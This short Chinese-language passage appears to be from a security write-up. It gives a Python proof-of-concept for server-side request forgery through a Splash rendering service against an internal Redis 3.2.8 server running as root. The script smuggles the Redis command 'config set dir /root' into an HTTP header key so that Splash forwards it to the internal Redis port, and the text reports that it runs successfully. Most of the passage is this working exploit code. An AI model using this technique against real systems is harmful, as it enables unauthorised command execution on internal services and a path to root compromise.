这里测试选择了 redis 3.2.8 版本,以root权限运行,监听在 172.16.10.74,测试脚本如下,可以成功执行
# -*- coding: utf-8 -*- __author__ = 'b1ng' import requests def test_get(api, redis_api): url = "%s/render.html" % api params = { 'url': redis_api, 'timeout': 10 } resp = requests.post(url, params=params, json={ 'headers': { 'config set dir /root\n': '', }, }) print(resp.request.url) print(resp.status_code) print(resp.text) if __name__ == '__main__': # splash地址和端口 splash_host = '192.168.1.120' splash_port = 8050 # 内网docker的地址和端口 docker_host = '172.16.10.74' docker_port = 6379 splash_api = "%s:%d" % (splash_host, splash_port) docker_api = '%s:%d' % (docker_host, docker_port) test_get(splash_api, docker_api)